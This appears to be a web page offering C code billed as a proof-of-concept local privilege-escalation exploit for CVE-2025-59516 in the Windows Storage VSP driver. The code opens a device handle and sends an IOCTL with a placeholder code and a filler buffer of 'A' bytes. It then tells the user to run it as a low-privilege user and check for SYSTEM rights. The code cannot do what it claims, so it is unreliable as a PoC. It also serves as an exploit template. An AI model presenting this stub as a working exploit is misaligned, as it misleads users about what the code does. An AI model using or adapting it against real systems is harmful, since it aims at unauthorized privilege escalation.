CVE-2025-59516 Windows Storage VSP Driver权限提升漏洞

// CVE-2025-59516 PoC - Windows Storage VSP Driver Local Privilege Escalation // This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> #define VSP_DEVICE_NAME "\\\\.\\WindowsStorageVSP" #define MALICIOUS_IOCTL 0x13371337 // Placeholder IOCTL code int main() { HANDLE hDevice; DWORD bytesReturned; BOOL result; printf("[*] CVE-2025-59516 PoC - Windows Storage VSP Driver\n"); printf("[*] Target: Windows Storage VSP Driver\n"); printf("[*] Vulnerability: Missing Authentication for Critical Function\n\n"); // Open handle to vulnerable driver hDevice = CreateFileA( VSP_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle. Error: %lu\n", GetLastError()); return 1; } printf("[+] Successfully opened handle to Windows Storage VSP Driver\n"); // Prepare malicious input buffer char inputBuffer[256] = {0}; char outputBuffer[256] = {0}; // Craft exploit payload (architecture-specific) memset(inputBuffer, 0x41, sizeof(inputBuffer)); // Send malicious IOCTL request printf("[*] Sending malicious IOCTL request...\n"); result = DeviceIoControl( hDevice, MALICIOUS_IOCTL, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent successfully\n"); printf("[*] Check for elevated privileges (SYSTEM)\n"); } else { printf("[-] IOCTL request failed. Error: %lu\n", GetLastError()); } CloseHandle(hDevice); return 0; } /* To verify privilege escalation: 1. Compile and run the exploit as a low-privilege user 2. Check if new process has SYSTEM privileges: - Use Process Explorer or tasklist /V - Check if current user is now SYSTEM - Attempt to access privileged resources */